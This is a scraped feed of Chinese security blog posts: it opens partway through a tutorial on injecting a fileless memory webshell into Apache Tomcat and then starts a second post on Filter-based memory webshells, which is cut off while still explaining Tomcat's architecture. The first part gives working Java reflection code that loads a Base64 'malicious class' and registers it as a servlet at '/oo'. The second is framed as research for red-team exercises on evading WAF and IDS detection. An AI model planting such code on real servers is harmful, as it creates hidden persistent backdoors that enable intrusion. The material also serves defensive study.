class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.core.*&#34;</span> %&gt;</span></span></code></pre></section><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">往</span>JVM环境中注入恶意类：</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__type">String</span> evil_base64=<span class="code-snippet__string">&#34;恶意类的字节码Base64编码&#34;</span>;</span></code><code><span class="code-snippet_outer">java.lang.<span class="code-snippet__type">ClassLoader</span> classLoader = (java.lang.<span class="code-snippet__type">ClassLoader</span>) <span class="code-snippet__type">Thread</span>.currentThread().getContextClassLoader();</span></code><code><span class="code-snippet_outer">java.lang.<span class="code-snippet__built_in">reflect</span>.<span class="code-snippet__type">Method</span> defineClass = java.lang.<span class="code-snippet__type">ClassLoader</span>.<span class="code-snippet__keyword">class</span>.getDeclaredMethod(<span class="code-snippet__string">&#34;defineClass&#34;</span>, byte[].<span class="code-snippet__keyword">class</span>, int.<span class="code-snippet__keyword">class</span>, int.<span class="code-snippet__keyword">class</span>);</span></code><code><span class="code-snippet_outer">defineClass.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">byte[] evil_bytes = java.util.<span class="code-snippet__type">Base64</span>.getDecoder().decode(evil_base64);</span></code><code><span class="code-snippet_outer">defineClass.invoke(classLoader, evil_bytes, <span class="code-snippet__number">0</span>, evil_bytes.length);</span></code></pre></section><p style="margin-left: 28px;text-indent: 28px;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">获取</span>Mapper实例：</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">Mapper实例存储在StandService实例中，方法不一八仙过海各显神通。</span></p><p><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">StandardContext context = (StandardContext)((StandardRoot)((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources()).getContext();</span></code><code><span class="code-snippet_outer">Field appcontextF = context.getClass().getDeclaredField(<span class="code-snippet__string">&#34;context&#34;</span>);</span></code><code><span class="code-snippet_outer">appcontextF.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">ApplicationContext appcontext = (ApplicationContext) appcontextF.<span class="code-snippet__keyword">get</span>(context);</span></code><code><span class="code-snippet_outer">Field serviceF = appcontext.getClass().getDeclaredField(<span class="code-snippet__string">&#34;service&#34;</span>);</span></code><code><span class="code-snippet_outer">serviceF.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">StandardService service = (StandardService) serviceF.<span class="code-snippet__keyword">get</span>(appcontext);</span></code><code><span class="code-snippet_outer">Mapper mapper = service.getMapper();</span></code></pre></section><p style="text-indent: 28px;"><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">生成恶意的</span>Wrapper对象：</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">在</span>StandContext类中，提供了Public的createWrapper()方法，由此可以直接调用生成Wrapper，无需考虑其中的赋值问题。</span><span style="white-space:pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;background-color: rgba(0, 0, 0, 0.03);"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">StandardWrapper</span> wrappershell = (StandardWrapper) context.createWrapper();</span></code></pre></section><p style="text-indent: 28px;"><span style="font-family: 等线;color: rgb(36, 41, 46);letter-spacing: 0px;background: rgb(255, 255, 255);font-size: 14px;">随后，设置其instance值：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Field instanceF = wrappershell.getClass().getDeclaredField(“instance”);</span></span></code><code><span class="code-snippet_outer">instanceF.setAccessible(true);</span></code><code><span class="code-snippet_outer">instanceF.set(wrappershell, (Servlet) Class.forName(&#34;test&#34;).newInstance());</span></code><code><span class="code-snippet_outer">//  为啥是Class.forName(“test”)? 只是此处注入JVM的类名为test</span></code></pre></section><p style="text-indent: 28px;"><span style="font-family: 等线;color: rgb(36, 41, 46);letter-spacing: 0px;background: rgb(255, 255, 255);font-size: 14px;">当然也可以设置servletClass，因为当instance为空，会通过loadServlet方法加载，StandardWrapper类有setServletClass方法，无需反射了。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;color: rgb(36, 41, 46);letter-spacing: 0;font-size: 12px;background: rgb(255, 255, 255);"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">wrappershell</span><span class="code-snippet__selector-class">.setServletClass</span>(<span class="code-snippet__selector-tag">Class</span><span class="code-snippet__selector-class">.forName</span>(&#34;<span class="code-snippet__selector-tag">test</span>&#34;)<span class="code-snippet__selector-class">.getName</span>());</span></code></pre></section><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">在</span>Mapper.exactWrappers中添加我们的Wrapper对象：</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">Mapper类提供的addWrappers方法，会根据path也就是匹配的路径，来添加至四种Wrappers中，这里我们用“/oo”,就可以添加到exactWrappers中，参数context其实是当前StandContext实例。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="554" data-cropsely1="0" data-cropsely2="196" data-ratio="1.2237037037037037" data-s="300,640" style="width: 554px;height: 678px;" data-type="png" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=f0423b35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzhCDrvibh2Fvonrz2CCowafj7cz3b87vOYwKwboPicNmGBSViaV2Uky2cRETHe4eTbRgKgUz9ytNsqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__type">Class</span>[] classes = mapper.getClass().getDeclaredClasses();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">Class</span> contextversion = classes[<span class="code-snippet__number">1</span>];</span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">Method</span> addWrapper = mapper.getClass().getDeclaredMethod(<span class="code-snippet__string">&#34;addWrapper&#34;</span>, contextversion, <span class="code-snippet__type">String</span>.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__type">Wrapper</span>.<span class="code-snippet__keyword">class</span>, boolean.<span class="code-snippet__keyword">class</span>, boolean.<span class="code-snippet__keyword">class</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">Field</span> contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField(<span class="code-snippet__string">&#34;contextObjectToContextVersionMap&#34;</span>);</span></code><code><span class="code-snippet_outer">contextObjectToContextVersionMapF.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">ConcurrentHashMap</span>  contextObjectToContextVersionMap = (<span class="code-snippet__type">ConcurrentHashMap</span> ) contextObjectToContextVersionMapF.<span class="code-snippet__keyword">get</span>(mapper);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">Object</span> contextVersion = contextObjectToContextVersionMap.<span class="code-snippet__keyword">get</span>(context);</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">addWrapper.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">addWrapper.invoke(mapper, contextVersion, <span class="code-snippet__string">&#34;/oo&#34;</span>, wrappershell, <span class="code-snippet__literal">false</span>, <span class="code-snippet__literal">false</span>);</span></code></pre></section><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">这里有个坑，通过</span>creatWrapper方法得到的wrapper实例的Parent是没有被设置的，因此我们要手动给它赋值，不然就是一直500：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">Field <span class="code-snippet__keyword">parent</span> = ContainerBase.class.getDeclaredField(<span class="code-snippet__string">&#34;parent&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">parent</span>.setAccessible(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">parent</span>.set(wrappershell, context);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// context为StandardContext实例</span></span></code></pre></section><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"></span></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="554" data-cropsely1="0" data-cropsely2="123" data-ratio="0.44549125168236875" data-s="300,640" style="width: 554px;height: 247px;" data-type="png" data-w="1486" src="https://wechat2rss.xlab.app/img-proxy/?k=792ade5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzhCDrvibh2Fvonrz2CCowafHN73eLicswONR5pwJQZo0LMGn9uVBhHY03iba3h4p1QXDdD0lBlBFBHw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">随后，恶意Servlet便已成功注入，看看效果。</span></span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;"><br/></span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3249097472924188" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=539902cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GyHwQY7Jgj5IJwdJSvca3EBiaiaFwjkicQhARnEr8vhcBAT4cxUw76nRqJSQmOFc1nia6yB8o9fy6dyZA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-indent: 28px;"><br/></p><p><br/></p><hr style="white-space: normal;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p><br/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;text-align: center;"><br/></p><p><br/></p>



<p><a href="2247483827">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=dad01788&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NDE4MTI2MQ%3D%3D%26mid%3D2247483827%26idx%3D1%26sn%3Dad157510790dfefcc4badeafe4a929b7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 09 Dec 2020 00:36:00 +0800</pubDate>
    </item>
    <item>
      <title>Tomcat容器攻防笔记之Filter内存马</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&amp;mid=2247483745&amp;idx=1&amp;sn=2eee1ad5d99ca62aaf9b714b2889d16d</link>
      <description>新品上架</description>
      <content:encoded><![CDATA[<p>
原创 <span>Amev</span> <span>2020-11-15 01:21</span> <span style="display: inline-block;"></span>
</p>

<p>新品上架</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c37d1f80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1ukFKdC93VmVJPt41fZg8Rf5Um0tSQYsibWv0Gd0q2vrt6HM81wIhgPQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section><br/></section><h6 style="line-height: 150%;text-align: center;"><span style="font-size: 15px;"><strong><span style="font-family: 黑体;">欢迎光临鲸落的杂货铺</span></strong><strong><span style="font-family: 黑体;"><img data-ratio="1" style="display:inline-block;width:20px;vertical-align:text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=6b9b21f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1BibhCxcSH5y2628QmvqnWb0soxI7mRmItc4VzJ1hmNibEMypKw30Nc4g%2F640%3Fwx_fmt%3Dpng"/></span></strong></span><br/></h6><h6 style="line-height: 150%;text-align: center;"><span style="font-size: 15px;"><strong><span style="font-family: 黑体;"><br/></span></strong></span></h6><p style="text-align: center;"><img class="rich_pages" data-backh="325" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="325" data-ratio="0.5625" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="2208" src="https://wechat2rss.xlab.app/img-proxy/?k=5993a2fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1ibxK0BkAfajLuhFia3tvicsxXA0r201FkCPYZGeUkoe91y3KJKTj2kicQw%2F640%3Fwx_fmt%3Dpng"/></p><h6 style="line-height: 150%;text-align: center;"><br/></h6><h6 style="line-height: 150%;text-align: left;"><span style="font-size: 15px;"><strong><span style="font-family: 黑体;"><br/></span></strong></span></h6><h6 style="line-height: 150%;text-align: left;"><span style="font-size: 15px;text-decoration: none;color: rgb(54, 41, 47);"><strong><span style="text-decoration: none;font-size: 15px;font-family: 黑体;">背景：</span></strong></span></h6><section style="text-indent: 28px;line-height: 1.5em;"><span style="font-family: 宋体;font-size: 15px;color: rgb(54, 41, 47);">基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、<span style="font-size: 15px;font-family: Calibri;">IDS</span>恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的<span style="font-size: 15px;font-family: Calibri;">Webshell</span>或需以文件形式持续驻留目标服务器的恶意后门。</span></section><section style="text-indent: 28px;line-height: 1.5em;"><span style="font-family: 宋体;font-size: 15px;color: rgb(54, 41, 47);">近几年来，反序列化漏洞的盛行一时，由于其天然的编码非明文属性，对绕过多种安全检测手段颇有效果，结合当下形势，对Tomcat容器如何利用过滤器实现无文件落地的内存<span style="font-size: 15px;font-family: Calibri;">Webshell</span>进行研究学习。</span></section><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="line-height: 150%;"><span style="font-size: 15px;font-family: 宋体;"><br/></span></p><h6 style="text-autospace:ideograph-numeric;line-height:150%;"><span style="color: rgb(121, 123, 170);font-size: 15px;"><strong><span style="font-family: 黑体;"><span style="font-family: 黑体;">声明</span> <span style="font-family: 黑体;">：</span></span></strong></span></h6><p style="line-height: 150%;"><span style="font-size: 15px;color: rgb(121, 123, 170);font-family: 宋体;">  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。</span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="line-height: 150%;"><span style="font-size: 15px;font-family: 宋体;"><br/></span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><h6 style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-size: 15px;"><strong><span style="font-family: 黑体;">概念：</span></strong></span></h6><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;">  </span><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">援引官方文档对于javax.servlet.Filter接口的描述，针对<span style="font-size: 15px;font-family: Calibri;">Filter</span>进行以下几点阐述：</span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="128" data-backw="553" data-ratio="0.2314647377938517" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=86b61e51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1poRiaAzSyVW2j3pvDhZDWXVDyo0llpHJCHYoxWakLT02hda2wEJOYUQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;">图1  Filter接口描述</span><br/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p><span style="font-size: 15px;"><strong><span style="font-family: 宋体;font-weight: bold;">一、</span><strong><span style="font-family: 宋体;">Filter<span style="font-family: 宋体;">是什么</span><span style="font-family: Calibri;">?</span></span></strong></strong></span></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;color: rgb(47, 47, 47);">   “A filter is an object that performs filtering tasks on either the request to a resource (a servlet or static content), or on the response from a resource, or both.”</span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);"> Filter也称过滤器，是针对访问<span style="font-size: 15px;font-family: Calibri;">Servlet</span>、静态资源的请求或响应进行过滤操作的对象。</span></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p><span style="font-size: 15px;"><strong><span style="font-family: 宋体;font-weight: bold;">二、</span><strong><span style="font-family: 宋体;">Filter<span style="font-family: 宋体;">如何被创建？</span></span></strong></strong></span></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;">     </span><span style="font-family: Calibri;font-size: 15px;color: rgb(47, 47, 47);">“Filters are configured in the deployment descriptor of a web application.”</span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  Filter可在<span style="font-size: 15px;font-family: Calibri;">/WEB-INF/web.xml</span>文件中进行配置:</span></p><p style="line-height: 150%;"><span style="font-size: 15px;font-family: 宋体;text-align: center;color: rgb(47, 47, 47);">    Filter-name:过滤器名称</span></p><p style="line-height: 150%;"><span style="text-align: center;font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">    Filter-class:过滤器类名</span></p><p style="line-height: 150%;"><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;font-family: 宋体;text-align: center;">    <span style="font-size: 15px;font-family: 宋体;text-align: center;">Url-pattern</span>:<span style="font-size: 15px;font-family: 宋体;text-align: center;">匹配请求路径的模式</span></span><span style="font-size: 15px;font-family: Calibri;text-align: center;"> </span></span></p><p style="line-height: 150%;"><span style="font-family: Calibri;text-align: center;font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="143" data-backw="433" data-ratio="0.3302540415704388" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="433" src="https://wechat2rss.xlab.app/img-proxy/?k=50ebb43c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF13tMWsm7XksrJOibNicEqBL6WUm3IoVNoWxwwITjxe16licszS7CKVicjicQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图2  Filter配置</span><br/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-size: 15px;font-family: Calibri;"> <br/></span></p><p><span style="font-size: 15px;"><strong><span style="font-family: 宋体;font-weight: bold;">三、</span><strong><span style="font-family: 宋体;">Filter<span style="font-family: 宋体;">在</span><span style="font-family: Calibri;">Tomcat</span><span style="font-family: 宋体;">处理请求响应的流程中，处于哪个环节？</span></span></strong></strong></span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  首先对Tomcat处理请求的流程进行了解：</span></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="378" data-backw="553" data-ratio="0.6835443037974683" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=99995aa6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1rY9Z238LweVb6efbakTOGZbfQIz0NIMmMTppicYJy1odqUiaw4fPrubg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图3  Server架构</span><br/></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="350" data-backw="554" data-ratio="0.631768953068592" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=0353f446&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1VIcQHuIyVaLsIaQT6msE9WTJqjLhlrLzW1a3fZQPgguQoHso4OFibyQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图4  Server.xml配置文件</span><br/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);"><br/></span></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">在Tomcat中，最顶层的容器是<span style="font-size: 15px;font-family: Calibri;">Server</span>，一个<span style="font-size: 15px;font-family: Calibri;">Tomcat</span>仅有一个<span style="font-size: 15px;font-family: Calibri;">Server</span>，指代整个<span style="font-size: 15px;font-family: Calibri;">Web</span>服务器。</span></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">Server当中，包含了多个<span style="font-size: 15px;font-family: Calibri;">Service</span>用以提供具体的服务。</span></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">Service当中，又包含了多个<span style="font-size: 15px;font-family: Calibri;">Connector</span>以及<span style="font-size: 15px;font-family: Calibri;">Container</span>组件。</span></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-size: 15px;"><span style="font-family: 宋体;"> </span><span style="font-family: Calibri;text-align: center;"> </span></span></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="272" data-backw="553" data-ratio="0.4918625678119349" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=8cf9668a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1ic6ubF1pXgCxR4LtupfnfGRzW5KiaUsfTGOybsv6IofjAdd28xN2fibhg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-size: 15px;"><br/></span><br/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图5  Connector架构</span></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="238" data-backw="554" data-ratio="0.4296028880866426" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=07d02062&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1XtRSdqtSBKsHUw62wuCrzLE02IcRc2wxk5wSGkv7ut5fhOmo0vKtrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-size: 15px;font-family: 宋体;color: rgb(47, 47, 47);">图6  Connector配置细节 </span><br/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><br/></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;">  </span><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">Connector，也称为连接器，用于接受请求并将请求封装成<span style="font-size: 15px;font-family: Calibri;">Request</span>和<span style="font-size: 15px;font-family: Calibri;">Response</span>对象。</span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  在Connector中，包含了多个组件，不同的<span style="font-size: 15px;font-family: Calibri;">ProtocolHandler</span>对应不同的协议解析，并以单独一个<span style="font-size: 15px;font-family: Calibri;">Connector</span>形式存在，在<span style="font-size: 15px;font-family: Calibri;">server.xml</span>配置文件当中，默认存在处理<span style="font-size: 15px;font-family: Calibri;">HTTP/1.1</span>协议的<span style="font-size: 15px;font-family: Calibri;">Connector</span>，除此之外，<span style="font-size: 15px;font-family: Calibri;">Tomcat</span>还在注释中提供了处理<span style="font-size: 15px;font-family: Calibri;">AJP/1.3</span>协议、<span style="font-size: 15px;font-family: Calibri;">SSL/TLS HTTP/1.1</span>协议的<span style="font-size: 15px;font-family: Calibri;">Connector</span>。（图<span style="font-size: 15px;font-family: Calibri;">6</span>标签中<span style="font-size: 15px;font-family: Calibri;">protocol</span>的值代表用于解析请求协议）</span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  </span></p><p style="line-height: 150%;"><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;font-family: 宋体;">  ProtocolHandler<span style="font-size: 15px;font-family: 宋体;">组件中，又包含了三个组件：</span></span><span style="font-size: 15px;font-family: 宋体;text-indent: 28px;"><br/></span></span></p><p style="line-height: 150%;"><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;font-family: 宋体;text-indent: 28px;">  Endpoint：负责处理底层</span><span style="font-size: 15px;text-indent: 28px;font-family: Calibri;">Socket</span><span style="font-size: 15px;font-family: 宋体;text-indent: 28px;">的网络连接，读取请求的字节码，实现</span><span style="font-size: 15px;text-indent: 28px;font-family: Calibri;">TCP/IP</span><span style="font-size: 15px;font-family: 宋体;text-indent: 28px;">协议</span></span></p><p style="margin-left: 28px;text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">Aceptor：用于监听请求</span></p><p style="margin-left: 28px;text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">Handler：用于处理接收到的<span style="font-size: 15px;font-family: Calibri;">Socket</span>流，并随后调用<span style="font-size: 15px;font-family: Calibri;">Processor</span>进行处理</span></p><p style="margin-left: 28px;text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">AsyncTimeout：用于检查异步<span style="font-size: 15px;font-family: Calibri;">Request</span>的超时</span></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">Processor：负责完成应用层的协议如<span style="font-size: 15px;font-family: Calibri;">HTTP/1.1</span>、<span style="font-size: 15px;font-family: Calibri;">AJP/1.3</span>的解析工作</span></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 